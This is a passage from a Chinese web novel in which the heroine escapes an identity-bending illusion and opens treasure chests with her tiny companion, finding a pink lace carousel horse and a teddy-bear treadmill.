乔娜摸了摸脸颊,温筱修眼睛直盯着玖安,两人一副认真倾听的模样。
“有没有可能,这句话从开头就带有误导性,岛赋予了我们虚假的身份,但是我们应该记住的应该是自己真实的身份。”
玖安顿了顿,又将许昌在她面前变成狮子的过程,以及遇见的蛇怪却有着人脸的事情和他们简略地诉说了一遍。
“也就是说,岛赋予我们的身份规则确实有用,也因此,我们对自己身份的认可度进一步的提升,直到彻底被他带偏,这时我们就会失去我们人类的身份,彻底以虚假的身份被留在这座岛上。”
温筱修若有所思,总结到。
乔娜脸上还带着些疑惑,似乎并不明白他们在说些什么。
“就是暗示效应,在无对抗的条件下,用含蓄、抽象诱导的间接方法对我们的心理和行为产生影响。你没有发现吗?这里的身份对应食物链。”玖安补充到。
“但是当你真正的把自己置身于这条食物链时,你就会变成其中的一部分。”
整个思路梳理完,乔娜彻底明悟。
此时面前的一切犹如破碎的镜子般,从中间开裂,碎成一块又一块的碎片。
乔娜,温筱修,湖中亭,眼前的一切都变成末影,像泡沫一样消失了。
她又回到了那片碎石地。
.
28. 一款蕾丝木马
乔娜等人不见踪影,只有该该站在旁边,两眼茫然。
碎石地没有变化,还是依旧的荒凉,了无生机。
但是好消息是她身上的伤口全部消失了,看来幻境里面的伤害不会带到现实里来,现在她又变回了一个干净的小女孩,简直让人身心愉悦。
玖安松筋动骨,觉得现在的自己可以再跳两套广播体操。
奖励诚可贵,健康价更高。
当然若是有奖励,她也是来者不拒的。
面前出现了两个宝箱,木质箱板,镶嵌着金边,几颗被打滑得光滑的宝石给这两个宝箱增加了华贵的气质。
两个宝箱一大一小,大的那个和玖安在海上捞到的大小差不多,小的不过巴掌大,非常适合该该的身,她猜测应该是属于该该的。
没想到该该也能算游戏的一员,居然可以获得两份奖励,真是太好了!
玖安觉得自己赚了,并且决定以后都把该该带上。
“我们快去开奖励吧!”玖安兴致冲冲,甚至不等该该同意,就把他一把抱在怀里,往奖励的方向走去。
她已经迫不及待地想知道自己能获得什么样的奖励,那一种开盲盒的快感,简直让人欲罢不能!
沈该还没反应过来,就又到了她的怀里,变得很小的手紧紧地抓着她的衣服,他的脸抵在他的手上,觉得这一切都很出乎他的意料。
没有走几步,她就来到了奖励面前,“该该,你来开这个小宝箱吧,我相信你的手气一定很好,肯定能开出超级棒的奖励!”
她将该该放在宝箱面前,眼睛亮闪闪,嘴角自然上扬,沈该有些愣神,这样一种全然信任的模样,让他有些无措,但是莫名的,他很喜欢这一种感觉。
他也不由自主地笑起来,奇怪的情绪溢满了他的心脏,让他的胸膛不觉地快速跳动着,充盈的,痒痒的感觉。
“好的!”听到该该的回复,玖安也不再等待,迫不及待打开大的宝箱。
一阵耀眼的光闪过,玖安非常有经验,早就提前闭上了眼睛,她表示这光对她毫无伤害,甚至有点想笑。
但是该该显然没有这样的经历,此时生理性泪水从他的眼眶滴落,他眨巴眨巴眼睛,悄悄地把眼泪眨掉。
玖安觉得自己好像养了一只小猫,忍不住无时无刻都在在关注,这简直是太可爱了!
她连箱子里面有什么奖励都不想看了,只觉得心都要像夏天的冰淇淋一般化掉了。
她不由想起了小时候看过的一个故事,一个王国的公主过生日,皇后送的礼物就是一座小岛,岛上生活着很多很多的小人,就是一个微观的小世界。
当时她就在想,要是她也有这样的小人就好了,没有想到这个梦想在这样一个游戏里实现了。
玖安悄悄地观察该该,很快发现他的表情变得不太一样,似乎不是很开心的样子。
她凑了过去,“该该,你拿到了什么奖励呀?”
一个毛茸茸的脑瓜子出现在他的面前,几乎占据了他的整个视线,他不由自主想要往后退几步,但是又觉得这样似乎会伤害面前女孩的心,原本的小人应该不会做这样的动作。
沈该硬生生止住了他的动作,靠得太近了,他在心里悄悄地想。
他几乎看得清她脸上细小的绒毛,睫毛随着她的动作一上一下地扑腾,像两只小蝴蝶,嘴唇的纹路很漂亮,又轻又浅的呼吸轻轻地拂过他的身躯。
他盯着她的眼睛,她的眼睛很明亮,瞳孔浅浅倒映着他颇为局促的身影。
“对不起,我没有开到好的东西。”他低下脑袋,盯着他的手指,神情默默,几乎要不敢看对方的神情。
沈该觉得自己辜负了她的期待,这让他的肌肉紧绷,或许他就是这样一个没有什么用处的人。
“唉,别伤心啊,欧皇本来就少见嘛,拿到奖励就已经打败很多人了,你已经很棒啦。”
玖安揉了揉他的头发,非常顺滑且黑直的头发被她揉成一团糟,几乎要变成一个鸟窝了。
沈该本来在等待属于他的疾风暴雨,在
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他长久的记忆里,曾经他有做的不好的时候,就会面临着怒骂,有的时候是混着盐水的鞭子,狠狠地打在他的身上带来剧烈的经久不散的疼痛。直到后来他被送去了神殿,然后再没有经历过这样的事,只是那些回忆深深地刻印在他的记忆深处,时不时回想起,依旧觉得恐惧。
树妖虽然不是人,但却是他遇见过最温柔的,对他最好的生物。
现在,他遇见了第一个如此柔和地顾及他的情绪的人,他呆愣在原地。
“让我们看看你都开到了什么东西吧!”
玖安趁着他不注意,悄悄地摸了一把他的脸,嗯,很好,嫩滑滑的,像上好的豆腐,让她都不由有些羡慕了。
沈该在宝箱里掏呀掏,面色有些不自然地掏出了什么东西,他轻轻地将奖励塞进了玖安张开的手里。
【旋转木马】
介绍:小朋友们都爱的旋转木马,当然这款旋转木马和别的旋转木马有很大差别,就连世界上最傲娇的小公主,都不能拒绝这一款粉色蕾丝小木马。
技能:旋转木马能有什么坏心思吗?它只是想让世界上的每一个小朋友都感到快乐罢了。(旋转木马温馨提示您:亲爱的姑娘,你的身躯对于木马来说实在是过于庞大了,或许你的小人会比较适合哦。)
沈该默默地别过脑袋,这种东西,怎么可能会适合他呀?旋转木马在玖安的手里变大,粉红小马的眼睛低垂着,看似笑非笑的看着他。
【跑步机】
介绍:一款非常好用的跑步机,它通身用玩偶装饰,会吸引每一位不爱运动的小朋友。
技能:就算是小人也要运动呀,每一个小人都可以通过跑步机获得健康的身躯。
跑步机的前端是一个巨大的白色小熊脑袋,把手是小熊的手臂,通身毛茸茸的,也挺有多让人心动了。
可惜了,她不能使用,玖安在心里默默感到惋惜。
“宝贝,你拿到的奖励也太棒了吧!”但是这给小人用,想想就觉得非常可爱,她又心满意足了。